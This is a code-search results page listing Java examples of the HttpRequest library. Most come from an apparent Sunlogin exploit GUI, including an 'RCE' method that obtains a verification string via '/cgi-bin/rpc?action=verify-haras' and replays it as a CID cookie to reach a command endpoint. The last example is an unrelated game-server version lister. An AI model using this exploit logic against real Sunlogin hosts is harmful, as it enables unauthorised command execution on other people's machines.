Search in sources :

Example 81 with HttpRequest

use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.

the class GetSunloginInfo method get_address.

public String get_address() {
    String sunloginAddress = "";
    try {
        HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
        sunloginAddress = responseRst.body();
    } catch (Exception e) {
        // TODO: handle exception
        SunloginExpGui.expResultTextArea.append("get_address failed. Caused exception.\n");
    }
    return sunloginAddress;
}
Also used : HttpRequest(com.github.kevinsawicki.http.HttpRequest)

Example 82 with HttpRequest

use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.

the class GetSunloginInfo method get_login_type.

public String get_login_type() {
    String loginType = "";
    try {
        HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
        loginType = responseRst.body();
    } catch (Exception e) {
        // TODO: handle exception
        SunloginExpGui.expResultTextArea.append("get_login_type failed. Caused exception.\n");
    }
    return loginType;
}
Also used : HttpRequest(com.github.kevinsawicki.http.HttpRequest)

Example 83 with HttpRequest

use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.

the class GetSunloginInfo method get_verify_string.

public String get_verify_string() {
    try {
        HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
        String responseBody = responseRst.body();
        System.out.println(responseBody);
        VerifyStringClass vsc = new Gson().fromJson(responseBody, VerifyStringClass.class);
        verifyString = vsc.verify_string;
        System.out.println(verifyString);
        SunloginExpGui.verifyStringField.setText(verifyString);
        return verifyString;
    } catch (Exception e) {
        // TODO: handle exception
        SunloginExpGui.expResultTextArea.append("get_verify_string failed. Caused exception.\n");
        return "";
    }
}
Also used : HttpRequest(com.github.kevinsawicki.http.HttpRequest) Gson(com.google.gson.Gson)

Example 84 with HttpRequest

use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.

the class RCE method rce_by_check_api.

public String rce_by_check_api() {
    String cid = "";
    GetSunloginInfo.verifyString = SunloginExpGui.verifyStringField.getText().trim();
    if (GetSunloginInfo.verifyString.isEmpty()) {
        System.out.println("verifyString is null,get it first!");
        SunloginExpGui.expResultTextArea.append("verifyString is null, now try to get it first......\n");
        SunloginExpGui.expResultTextArea.selectAll();
        String getVerifyStringUrl = "http://" + url.split("http://")[1].split("/")[0] + "/cgi-bin/rpc?action=verify-haras";
        GetSunloginInfo gsli = new GetSunloginInfo(getVerifyStringUrl, httpTimeout);
        cid = gsli.get_verify_string();
    } else {
        cid = GetSunloginInfo.verifyString;
    }
    System.out.println("cid is " + cid);
    SunloginExpGui.expResultTextArea.append("cid is " + cid + "\n");
    SunloginExpGui.expResultTextArea.selectAll();
    String responseBody = "";
    try {
        HttpRequest responseRst = HttpRequest.get(url).header("Cookie", "CID=" + cid).connectTimeout(httpTimeout).readTimeout(httpTimeout);
        responseBody = responseRst.body();
    } catch (Exception e) {
        // TODO: handle exception
        SunloginExpGui.expResultTextArea.append("rce_by_check_api attack failed. Caused exception.\n");
    }
    return responseBody;
}
Also used : HttpRequest(com.github.kevinsawicki.http.HttpRequest)

Example 85 with HttpRequest

use of com.github.kevinsawicki.http.HttpRequest in project PowerNukkitX by PowerNukkitX.

the class VersionListHelper method listRemoteVersions.

public static List<VersionEntry> listRemoteVersions(final String category) {
    if (cache.containsKey(category)) {
        return exactKeys(cache.get(category));
    } else {
        final HttpRequest request = HttpRequest.get(OSS + "?" + "list-type=2" + "&" + "prefix=" + category + "/&" + "max-keys=30" + "&" + "delimiter=/");
        final String result = request.body(HttpRequest.CHARSET_UTF8);
        cache.put(category, result);
        return exactKeys(result);
    }
}
Also used : HttpRequest(com.github.kevinsawicki.http.HttpRequest)

Aggregations

HttpRequest (com.github.kevinsawicki.http.HttpRequest)86 HttpRequestException (com.github.kevinsawicki.http.HttpRequest.HttpRequestException)29 IOException (java.io.IOException)25 JSONObject (org.json.JSONObject)19 UnsupportedEncodingException (java.io.UnsupportedEncodingException)13 File (java.io.File)8 TimerTask (java.util.TimerTask)8 AtomicLong (java.util.concurrent.atomic.AtomicLong)8 Pair (android.util.Pair)6 URL (java.net.URL)5 JSONException (org.json.JSONException)5 NameNotFoundException (android.content.pm.PackageManager.NameNotFoundException)4 JSONObject (com.alibaba.fastjson.JSONObject)4 ZipFile (net.lingala.zip4j.ZipFile)4 SSLHandshakeException (javax.net.ssl.SSLHandshakeException)3 IPEntity (com.example.li.springboot_crawler_demo.utils.img.entity.IPEntity)2 HttpURLConnection (java.net.HttpURLConnection)2 MalformedURLException (java.net.MalformedURLException)2 Matcher (java.util.regex.Matcher)2 JSONArray (org.json.JSONArray)2